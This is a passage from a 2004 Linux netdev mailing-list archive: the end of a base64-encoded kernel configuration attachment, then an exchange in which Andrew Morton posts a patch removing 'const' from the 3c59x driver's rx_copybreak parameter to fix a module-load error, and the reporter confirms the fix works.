CkNPTkZJR19BR1BfSU5URUw9bQojIENPTkZJR19BR1BfTlZJRElBIGlzIG5vdCBzZXQKIyBDT05G SUdfQUdQX1NJUyBpcyBub3Qgc2V0CiMgQ09ORklHX0FHUF9TV09SS1MgaXMgbm90IHNldAojIENP TkZJR19BR1BfVklBIGlzIG5vdCBzZXQKIyBDT05GSUdfRFJNIGlzIG5vdCBzZXQKIyBDT05GSUdf TVdBVkUgaXMgbm90IHNldApDT05GSUdfUkFXX0RSSVZFUj1tCkNPTkZJR19NQVhfUkFXX0RFVlM9 MjU2CiMgQ09ORklHX0hBTkdDSEVDS19USU1FUiBpcyBub3Qgc2V0CgojCiMgTXVsdGltZWRpYSBk ZXZpY2VzCiMKQ09ORklHX1ZJREVPX0RFVj15CgojCiMgVmlkZW8gRm9yIExpbnV4CiMKCiMKIyBW aWRlbyBBZGFwdGVycwojCiMgQ09ORklHX1ZJREVPX1BNUyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJ REVPX0JXUUNBTSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJREVPX0NRQ0FNIGlzIG5vdCBzZXQKIyBD T05GSUdfVklERU9fVzk5NjYgaXMgbm90IHNldAojIENPTkZJR19WSURFT19DUElBIGlzIG5vdCBz ZXQKIyBDT05GSUdfVklERU9fU0FBNTI0OSBpcyBub3Qgc2V0CiMgQ09ORklHX1RVTkVSXzMwMzYg aXMgbm90IHNldAojIENPTkZJR19WSURFT19TVFJBRElTIGlzIG5vdCBzZXQKIyBDT05GSUdfVklE RU9fWk9SQU4gaXMgbm90IHNldAojIENPTkZJR19WSURFT19TQUE3MTM0IGlzIG5vdCBzZXQKIyBD T05GSUdfVklERU9fTVhCIGlzIG5vdCBzZXQKIyBDT05GSUdfVklERU9fRFBDIGlzIG5vdCBzZXQK IyBDT05GSUdfVklERU9fSEVYSVVNX09SSU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfVklERU9fSEVY SVVNX0dFTUlOSSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZJREVPX0NYODggaXMgbm90IHNldAoKIwoj IFJhZGlvIEFkYXB0ZXJzCiMKIyBDT05GSUdfUkFESU9fQ0FERVQgaXMgbm90IHNldAojIENPTkZJ R19SQURJT19SVFJBQ0sgaXMgbm90IHNldAojIENPTkZJR19SQURJT19SVFJBQ0syIGlzIG5vdCBz ZXQKIyBDT05GSUdfUkFESU9fQVpURUNIIGlzIG5vdCBzZXQKIyBDT05GSUdfUkFESU9fR0VNVEVL IGlzIG5vdCBzZXQKIyBDT05GSUdfUkFESU9fR0VNVEVLX1BDSSBpcyBub3Qgc2V0CiMgQ09ORklH X1JBRElPX01BWElSQURJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1JBRElPX01BRVNUUk8gaXMgbm90 IHNldAojIENPTkZJR19SQURJT19TRjE2Rk1JIGlzIG5vdCBzZXQKIyBDT05GSUdfUkFESU9fVEVS UkFURUMgaXMgbm90IHNldAojIENPTkZJR19SQURJT19UUlVTVCBpcyBub3Qgc2V0CiMgQ09ORklH X1JBRElPX1RZUEhPT04gaXMgbm90IHNldAojIENPTkZJR19SQURJT19aT0xUUklYIGlzIG5vdCBz ZXQKCiMKIyBEaWdpdGFsIFZpZGVvIEJyb2FkY2FzdGluZyBEZXZpY2VzCiMKQ09ORklHX0RWQj15 CkNPTkZJR19EVkJfQ09SRT15CgojCiMgU3VwcG9ydGVkIEZyb250ZW5kIE1vZHVsZXMKIwojIENP TkZJR19EVkJfVFdJTkhBTl9EU1QgaXMgbm90IHNldAojIENPTkZJR19EVkJfU1RWMDI5OSBpcyBu b3Qgc2V0CiMgQ09ORklHX0RWQl9TUDg4N1ggaXMgbm90IHNldAojIENPTkZJR19EVkJfQUxQU19U RExCNyBpcyBub3Qgc2V0CiMgQ09ORklHX0RWQl9BTFBTX1RETUI3IGlzIG5vdCBzZXQKIyBDT05G SUdfRFZCX0FUTUVMX0FUNzZDNjUxIGlzIG5vdCBzZXQKIyBDT05GSUdfRFZCX0NYMjQxMTAgaXMg bm90IHNldAojIENPTkZJR19EVkJfR1JVTkRJR18yOTUwNF80OTEgaXMgbm90IHNldAojIENPTkZJ R19EVkJfR1JVTkRJR18yOTUwNF80MDEgaXMgbm90IHNldAojIENPTkZJR19EVkJfTVQzMTIgaXMg bm90IHNldAojIENPTkZJR19EVkJfVkVTMTgyMCBpcyBub3Qgc2V0CiMgQ09ORklHX0RWQl9WRVMx WDkzIGlzIG5vdCBzZXQKCiMKIyBTdXBwb3J0ZWQgU0FBNzE0NiBiYXNlZCBQQ0kgQWRhcHRlcnMK IwojIENPTkZJR19EVkJfQVY3MTEwIGlzIG5vdCBzZXQKIyBDT05GSUdfRFZCX0JVREdFVCBpcyBu b3Qgc2V0CiMgQ09ORklHX0RWQl9CVURHRVRfQ0kgaXMgbm90IHNldAojIENPTkZJR19EVkJfQlVE R0VUX0FWIGlzIG5vdCBzZXQKCiMKIyBTdXBwb3J0ZWQgVVNCIEFkYXB0ZXJzCiMKIyBDT05GSUdf RFZCX1RUVVNCX0JVREdFVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RWQl9UVFVTQl9ERUMgaXMgbm90 IHNldAoKIwojIFN1cHBvcnRlZCBGbGV4Q29wSUkgKEIyQzIpIEFkYXB0ZXJzCiMKIyBDT05GSUdf RFZCX0IyQzJfU0tZU1RBUiBpcyBub3Qgc2V0CgojCiMgU3VwcG9ydGVkIEJUODc4IEFkYXB0ZXJz CiMKCiMKIyBHcmFwaGljcyBzdXBwb3J0CiMKIyBDT05GSUdfRkIgaXMgbm90IHNldApDT05GSUdf VklERU9fU0VMRUNUPXkKCiMKIyBDb25zb2xlIGRpc3BsYXkgZHJpdmVyIHN1cHBvcnQKIwpDT05G SUdfVkdBX0NPTlNPTEU9eQojIENPTkZJR19NREFfQ09OU09MRSBpcyBub3Qgc2V0CkNPTkZJR19E VU1NWV9DT05TT0xFPXkKCiMKIyBTb3VuZAojCiMgQ09ORklHX1NPVU5EIGlzIG5vdCBzZXQKCiMK IyBVU0Igc3VwcG9ydAojCkNPTkZJR19VU0I9eQojIENPTkZJR19VU0JfREVCVUcgaXMgbm90IHNl dAoKIwojIE1pc2NlbGxhbmVvdXMgVVNCIG9wdGlvbnMKIwojIENPTkZJR19VU0JfREVWSUNFRlMg aXMgbm90IHNldAojIENPTkZJR19VU0JfQkFORFdJRFRIIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNC X0RZTkFNSUNfTUlOT1JTIGlzIG5vdCBzZXQKCiMKIyBVU0IgSG9zdCBDb250cm9sbGVyIERyaXZl cnMKIwojIENPTkZJR19VU0JfRUhDSV9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfT0hDSV9I Q0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfVUhDSV9IQ0QgaXMgbm90IHNldAoKIwojIFVTQiBE ZXZpY2UgQ2xhc3MgZHJpdmVycwojCiMgQ09ORklHX1VTQl9CTFVFVE9PVEhfVFRZIGlzIG5vdCBz ZXQKIyBDT05GSUdfVVNCX0FDTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9QUklOVEVSIGlzIG5v dCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0UgaXMgbm90IHNldAoKIwojIFVTQiBIdW1hbiBJbnRl cmZhY2UgRGV2aWNlcyAoSElEKQojCiMgQ09ORklHX1VTQl9ISUQgaXMgbm90IHNldAoKIwojIFVT QiBISUQgQm9vdCBQcm90b2NvbCBkcml2ZXJzCiMKIyBDT05GSUdfVVNCX0tCRCBpcyBub3Qgc2V0 CiMgQ09ORklHX1VTQl9NT1VTRSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9BSVBURUsgaXMgbm90 IHNldAojIENPTkZJR19VU0JfV0FDT00gaXMgbm90IHNldAojIENPTkZJR19VU0JfS0JUQUIgaXMg bm90IHNldAojIENPTkZJR19VU0JfUE9XRVJNQVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1hQ QUQgaXMgbm90IHNldAoKIwojIFVTQiBJbWFnaW5nIGRldmljZXMKIwojIENPTkZJR19VU0JfTURD ODAwIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NDQU5ORVIgaXMgbm90IHNldAojIENPTkZJR19V U0JfTUlDUk9URUsgaXMgbm90IHNldAojIENPTkZJR19VU0JfSFBVU0JTQ1NJIGlzIG5vdCBzZXQK CiMKIyBVU0IgTXVsdGltZWRpYSBkZXZpY2VzCiMKIyBDT05GSUdfVVNCX0RBQlVTQiBpcyBub3Qg c2V0CiMgQ09ORklHX1VTQl9WSUNBTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9EU0JSIGlzIG5v dCBzZXQKIyBDT05GSUdfVVNCX0lCTUNBTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9LT05JQ0FX QyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9PVjUxMSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9Q V0MgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0U0MDEgaXMgbm90IHNldAojIENPTkZJR19VU0Jf U1RWNjgwIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1c5OTY4Q0YgaXMgbm90IHNldAoKIwojIFVT QiBOZXR3b3JrIGFkYXB0b3JzCiMKIyBDT05GSUdfVVNCX0NBVEMgaXMgbm90IHNldAojIENPTkZJ R19VU0JfS0FXRVRIIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1BFR0FTVVMgaXMgbm90IHNldAoj IENPTkZJR19VU0JfUlRMODE1MCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9VU0JORVQgaXMgbm90 IHNldAoKIwojIFVTQiBwb3J0IGRyaXZlcnMKIwojIENPTkZJR19VU0JfVVNTNzIwIGlzIG5vdCBz ZXQKCiMKIyBVU0IgU2VyaWFsIENvbnZlcnRlciBzdXBwb3J0CiMKQ09ORklHX1VTQl9TRVJJQUw9 eQojIENPTkZJR19VU0JfU0VSSUFMX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklB TF9DT05TT0xFIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9HRU5FUklDIGlzIG5vdCBz ZXQKIyBDT05GSUdfVVNCX1NFUklBTF9CRUxLSU4gaXMgbm90IHNldApDT05GSUdfVVNCX1NFUklB TF9ESUdJX0FDQ0VMRVBPUlQ9eQojIENPTkZJR19VU0JfU0VSSUFMX0VNUEVHIGlzIG5vdCBzZXQK IyBDT05GSUdfVVNCX1NFUklBTF9GVERJX1NJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJ QUxfVklTT1IgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0lQQVEgaXMgbm90IHNldAoj IENPTkZJR19VU0JfU0VSSUFMX0lSIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9FREdF UE9SVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfRURHRVBPUlRfVEkgaXMgbm90IHNl dAojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU5fUERBIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNC X1NFUklBTF9LRVlTUEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9LTFNJIGlzIG5v dCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9LT0JJTF9TQ1QgaXMgbm90IHNldAojIENPTkZJR19V U0JfU0VSSUFMX01DVF9VMjMyIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9QTDIzMDMg aXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX1NBRkUgaXMgbm90IHNldAojIENPTkZJR19V U0JfU0VSSUFMX0NZQkVSSkFDSyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfWElSQ09N IGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9PTU5JTkVUIGlzIG5vdCBzZXQKCiMKIyBV U0IgTWlzY2VsbGFuZW91cyBkcml2ZXJzCiMKIyBDT05GSUdfVVNCX1RJR0wgaXMgbm90IHNldAoj IENPTkZJR19VU0JfQVVFUlNXQUxEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1JJTzUwMCBpcyBu b3Qgc2V0CiMgQ09ORklHX1VTQl9MRUdPVE9XRVIgaXMgbm90IHNldAojIENPTkZJR19VU0JfQlJM VkdFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9MQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0Jf R0FER0VUIGlzIG5vdCBzZXQKCiMKIyBGaWxlIHN5c3RlbXMKIwpDT05GSUdfRVhUMl9GUz15CiMg Q09ORklHX0VYVDJfRlNfWEFUVFIgaXMgbm90IHNldApDT05GSUdfRVhUM19GUz15CiMgQ09ORklH X0VYVDNfRlNfWEFUVFIgaXMgbm90IHNldApDT05GSUdfSkJEPXkKQ09ORklHX0pCRF9ERUJVRz15 CkNPTkZJR19SRUlTRVJGU19GUz15CiMgQ09ORklHX1JFSVNFUkZTX0NIRUNLIGlzIG5vdCBzZXQK IyBDT05GSUdfUkVJU0VSRlNfUFJPQ19JTkZPIGlzIG5vdCBzZXQKIyBDT05GSUdfSkZTX0ZTIGlz IG5vdCBzZXQKIyBDT05GSUdfWEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfTUlOSVhfRlMgaXMg bm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1FVT1RBIGlzIG5v dCBzZXQKIyBDT05GSUdfQVVUT0ZTX0ZTIGlzIG5vdCBzZXQKQ09ORklHX0FVVE9GUzRfRlM9eQoK IwojIENELVJPTS9EVkQgRmlsZXN5c3RlbXMKIwpDT05GSUdfSVNPOTY2MF9GUz15CkNPTkZJR19K T0xJRVQ9eQpDT05GSUdfWklTT0ZTPXkKQ09ORklHX1pJU09GU19GUz15CkNPTkZJR19VREZfRlM9 eQoKIwojIERPUy9GQVQvTlQgRmlsZXN5c3RlbXMKIwpDT05GSUdfRkFUX0ZTPXkKQ09ORklHX01T RE9TX0ZTPXkKQ09ORklHX1ZGQVRfRlM9eQojIENPTkZJR19OVEZTX0ZTIGlzIG5vdCBzZXQKCiMK IyBQc2V1ZG8gZmlsZXN5c3RlbXMKIwpDT05GSUdfUFJPQ19GUz15CkNPTkZJR19QUk9DX0tDT1JF PXkKQ09ORklHX1NZU0ZTPXkKIyBDT05GSUdfREVWRlNfRlMgaXMgbm90IHNldApDT05GSUdfREVW UFRTX0ZTPXkKIyBDT05GSUdfREVWUFRTX0ZTX1hBVFRSIGlzIG5vdCBzZXQKQ09ORklHX1RNUEZT PXkKQ09ORklHX0hVR0VUTEJGUz15CkNPTkZJR19IVUdFVExCX1BBR0U9eQpDT05GSUdfUkFNRlM9 eQoKIwojIE1pc2NlbGxhbmVvdXMgZmlsZXN5c3RlbXMKIwojIENPTkZJR19BREZTX0ZTIGlzIG5v dCBzZXQKIyBDT05GSUdfQUZGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hGU19GUyBpcyBub3Qg c2V0CkNPTkZJR19CRUZTX0ZTPXkKIyBDT05GSUdfQkVGU19ERUJVRyBpcyBub3Qgc2V0CiMgQ09O RklHX0JGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0VGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklH X0NSQU1GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZYRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19I UEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfUU5YNEZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdf U1lTVl9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1VGU19GUyBpcyBub3Qgc2V0CgojCiMgTmV0d29y ayBGaWxlIFN5c3RlbXMKIwpDT05GSUdfTkZTX0ZTPXkKQ09ORklHX05GU19WMz15CiMgQ09ORklH X05GU19WNCBpcyBub3Qgc2V0CiMgQ09ORklHX05GU19ESVJFQ1RJTyBpcyBub3Qgc2V0CkNPTkZJ R19ORlNEPXkKQ09ORklHX05GU0RfVjM9eQojIENPTkZJR19ORlNEX1Y0IGlzIG5vdCBzZXQKIyBD T05GSUdfTkZTRF9UQ1AgaXMgbm90IHNldApDT05GSUdfTE9DS0Q9eQpDT05GSUdfTE9DS0RfVjQ9 eQpDT05GSUdfRVhQT1JURlM9eQpDT05GSUdfU1VOUlBDPXkKIyBDT05GSUdfU1VOUlBDX0dTUyBp cyBub3Qgc2V0CkNPTkZJR19TTUJfRlM9eQojIENPTkZJR19TTUJfTkxTX0RFRkFVTFQgaXMgbm90 IHNldApDT05GSUdfQ0lGUz15CiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NP REFfRlMgaXMgbm90IHNldAojIENPTkZJR19JTlRFUk1FWlpPX0ZTIGlzIG5vdCBzZXQKQ09ORklH X0FGU19GUz15CkNPTkZJR19SWFJQQz15CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05GSUdf UEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15Cgoj CiMgTmF0aXZlIExhbmd1YWdlIFN1cHBvcnQKIwpDT05GSUdfTkxTPXkKQ09ORklHX05MU19ERUZB VUxUPSJpc284ODU5LTEiCiMgQ09ORklHX05MU19DT0RFUEFHRV80MzcgaXMgbm90IHNldAojIENP TkZJR19OTFNfQ09ERVBBR0VfNzM3IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzc3 NSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NTAgaXMgbm90IHNldAojIENPTkZJ R19OTFNfQ09ERVBBR0VfODUyIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1NSBp cyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NTcgaXMgbm90IHNldAojIENPTkZJR19O TFNfQ09ERVBBR0VfODYwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MSBpcyBu b3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjIgaXMgbm90IHNldAojIENPTkZJR19OTFNf Q09ERVBBR0VfODYzIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NCBpcyBub3Qg c2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV84NjUgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09E RVBBR0VfODY2IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2OSBpcyBub3Qgc2V0 CiMgQ09ORklHX05MU19DT0RFUEFHRV85MzYgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBB R0VfOTUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzkzMiBpcyBub3Qgc2V0CiMg Q09ORklHX05MU19DT0RFUEFHRV85NDkgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0Vf ODc0IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfOCBpcyBub3Qgc2V0CiMgQ09ORklH X05MU19DT0RFUEFHRV8xMjUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzEyNTEg aXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8xIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxT X0lTTzg4NTlfMiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzMgaXMgbm90IHNldAoj IENPTkZJR19OTFNfSVNPODg1OV80IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfNSBp cyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzYgaXMgbm90IHNldAojIENPTkZJR19OTFNf SVNPODg1OV83IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfOSBpcyBub3Qgc2V0CiMg Q09ORklHX05MU19JU084ODU5XzEzIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMTQg aXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8xNSBpcyBub3Qgc2V0CiMgQ09ORklHX05M U19LT0k4X1IgaXMgbm90IHNldAojIENPTkZJR19OTFNfS09JOF9VIGlzIG5vdCBzZXQKIyBDT05G SUdfTkxTX1VURjggaXMgbm90IHNldAoKIwojIFByb2ZpbGluZyBzdXBwb3J0CiMKQ09ORklHX1BS T0ZJTElORz15CkNPTkZJR19PUFJPRklMRT15CgojCiMgS2VybmVsIGhhY2tpbmcKIwpDT05GSUdf REVCVUdfS0VSTkVMPXkKIyBDT05GSUdfREVCVUdfU1RBQ0tPVkVSRkxPVyBpcyBub3Qgc2V0CiMg Q09ORklHX0RFQlVHX1NMQUIgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19JT1ZJUlQgaXMgbm90 IHNldApDT05GSUdfTUFHSUNfU1lTUlE9eQojIENPTkZJR19ERUJVR19TUElOTE9DSyBpcyBub3Qg c2V0CiMgQ09ORklHX0RFQlVHX1BBR0VBTExPQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NQSU5MSU5F IGlzIG5vdCBzZXQKIyBDT05GSUdfREVCVUdfSU5GTyBpcyBub3Qgc2V0CiMgQ09ORklHX0xPQ0tN RVRFUiBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQlVHX1NQSU5MT0NLX1NMRUVQIGlzIG5vdCBzZXQK Q09ORklHX0tHREI9eQojIENPTkZJR19LR0RCXzk2MDBCQVVEIGlzIG5vdCBzZXQKIyBDT05GSUdf S0dEQl8xOTIwMEJBVUQgaXMgbm90IHNldAojIENPTkZJR19LR0RCXzM4NDAwQkFVRCBpcyBub3Qg c2V0CiMgQ09ORklHX0tHREJfNTc2MDBCQVVEIGlzIG5vdCBzZXQKQ09ORklHX0tHREJfMTE1MjAw QkFVRD15CkNPTkZJR19LR0RCX1BPUlQ9MHgzZjgKQ09ORklHX0tHREJfSVJRPTQKIyBDT05GSUdf S0dEQl9NT1JFIGlzIG5vdCBzZXQKQ09ORklHX05PX0tHREJfQ1BVUz0yCiMgQ09ORklHX0tHREJf VFMgaXMgbm90IHNldAojIENPTkZJR19TVEFDS19PVkVSRkxPV19URVNUIGlzIG5vdCBzZXQKIyBD T05GSUdfS0dEQl9DT05TT0xFIGlzIG5vdCBzZXQKQ09ORklHX0tHREJfU1lTUlE9eQpDT05GSUdf RlJBTUVfUE9JTlRFUj15CkNPTkZJR19YODZfRVhUUkFfSVJRUz15CkNPTkZJR19YODZfRklORF9T TVBfQ09ORklHPXkKQ09ORklHX1g4Nl9NUFBBUlNFPXkKCiMKIyBTZWN1cml0eSBvcHRpb25zCiMK Q09ORklHX1NFQ1VSSVRZPXkKQ09ORklHX1NFQ1VSSVRZX05FVFdPUks9eQpDT05GSUdfU0VDVVJJ VFlfQ0FQQUJJTElUSUVTPXkKIyBDT05GSUdfU0VDVVJJVFlfUk9PVFBMVUcgaXMgbm90IHNldAoj IENPTkZJR19TRUNVUklUWV9TRUxJTlVYIGlzIG5vdCBzZXQKCiMKIyBDcnlwdG9ncmFwaGljIG9w dGlvbnMKIwpDT05GSUdfQ1JZUFRPPXkKQ09ORklHX0NSWVBUT19ITUFDPXkKQ09ORklHX0NSWVBU T19OVUxMPW0KQ09ORklHX0NSWVBUT19NRDQ9bQpDT05GSUdfQ1JZUFRPX01ENT15CkNPTkZJR19D UllQVE9fU0hBMT1tCkNPTkZJR19DUllQVE9fU0hBMjU2PW0KQ09ORklHX0NSWVBUT19TSEE1MTI9 bQpDT05GSUdfQ1JZUFRPX0RFUz1tCkNPTkZJR19DUllQVE9fQkxPV0ZJU0g9bQpDT05GSUdfQ1JZ UFRPX1RXT0ZJU0g9bQpDT05GSUdfQ1JZUFRPX1NFUlBFTlQ9bQpDT05GSUdfQ1JZUFRPX0FFUz1t CkNPTkZJR19DUllQVE9fQ0FTVDU9bQpDT05GSUdfQ1JZUFRPX0NBU1Q2PW0KQ09ORklHX0NSWVBU T19ERUZMQVRFPW0KIyBDT05GSUdfQ1JZUFRPX1RFU1QgaXMgbm90IHNldAoKIwojIExpYnJhcnkg cm91dGluZXMKIwpDT05GSUdfQ1JDMzI9eQpDT05GSUdfWkxJQl9JTkZMQVRFPXkKQ09ORklHX1pM SUJfREVGTEFURT1tCkNPTkZJR19YODZfU01QPXkKQ09ORklHX1g4Nl9IVD15CkNPTkZJR19YODZf QklPU19SRUJPT1Q9eQpDT05GSUdfWDg2X1RSQU1QT0xJTkU9eQpDT05GSUdfUEM9eQo= --Multipart_Sat__17_Jan_2004_17:32:02_-0800_0824d6b0-- From akpm@osdl.org Sat Jan 17 21:55:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 17 Jan 2004 21:55:30 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0I5tEmK032403 for ; Sat, 17 Jan 2004 21:55:16 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0I5t4o13522; Sat, 17 Jan 2004 21:55:04 -0800 Date: Sat, 17 Jan 2004 21:55:35 -0800 From: Andrew Morton To: "J.A. Magallon" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6.1-mm4 Message-Id: <20040117215535.0e4674b8.akpm@osdl.org> In-Reply-To: <20040118001217.GE3125@werewolf.able.es> References: <20040115225948.6b994a48.akpm@osdl.org> <20040118001217.GE3125@werewolf.able.es> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2574 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 1131 Lines: 35 "J.A. Magallon" wrote: > > On 01.16, Andrew Morton wrote: > > > > ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/ > > > > > > Net driver problem: > > werewolf:/etc# modprobe --verbose 3c59x > insmod /lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko > FATAL: Error inserting 3c59x (/lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko): Invalid argument hmm, cute. --- 25/drivers/net/3c59x.c~3c59x-modprobe-fix 2004-01-17 21:49:14.000000000 -0800 +++ 25-akpm/drivers/net/3c59x.c 2004-01-17 21:49:18.000000000 -0800 @@ -211,11 +211,11 @@ /* Set the copy breakpoint for the copy-only-tiny-frames scheme. Setting to > 1512 effectively disables this feature. */ #ifndef __arm__ -static const int rx_copybreak = 200; +static int rx_copybreak = 200; #else /* ARM systems perform better by disregarding the bus-master transfer capability of these cards. -- rmk */ -static const int rx_copybreak = 1513; +static int rx_copybreak = 1513; #endif /* Allow setting MTU to a larger size, bypassing the normal ethernet setup. */ static const int mtu = 1500; _ From jamagallon@able.es Sun Jan 18 00:11:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 18 Jan 2004 00:11:50 -0800 (PST) Received: from smtp06.retemail.es (smtp06.auna.com [62.81.186.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0I8BYmK003082 for ; Sun, 18 Jan 2004 00:11:36 -0800 Received: from werewolf.able.es ([212.97.170.101]) by smtp06.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040118081128.HNOC20566.smtp06.retemail.es@werewolf.able.es>; Sun, 18 Jan 2004 09:11:28 +0100 Date: Sun, 18 Jan 2004 09:11:28 +0100 From: "J.A. Magallon" To: Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6.1-mm4 Message-ID: <20040118081128.GA3153@werewolf.able.es> References: <20040115225948.6b994a48.akpm@osdl.org> <20040118001217.GE3125@werewolf.able.es> <20040117215535.0e4674b8.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20040117215535.0e4674b8.akpm@osdl.org> (from akpm@osdl.org on Sun, Jan 18, 2004 at 06:55:35 +0100) X-Mailer: Balsa 2.0.15 X-archive-position: 2575 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jamagallon@able.es Precedence: bulk X-list: netdev Content-Length: 878 Lines: 30 On 01.18, Andrew Morton wrote: > "J.A. Magallon" wrote: > > > > On 01.16, Andrew Morton wrote: > > > > > > ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/ > > > > > > > > > > Net driver problem: > > > > werewolf:/etc# modprobe --verbose 3c59x > > insmod /lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko > > FATAL: Error inserting 3c59x (/lib/modules/2.6.1-jam4/kernel/drivers/net/3c59x.ko): Invalid argument > > hmm, cute. > Yes. It worked. I thought of this, but why this and not the other parameters ? Compiler bug ? Witches... -- J.A. Magallon \ Software is like 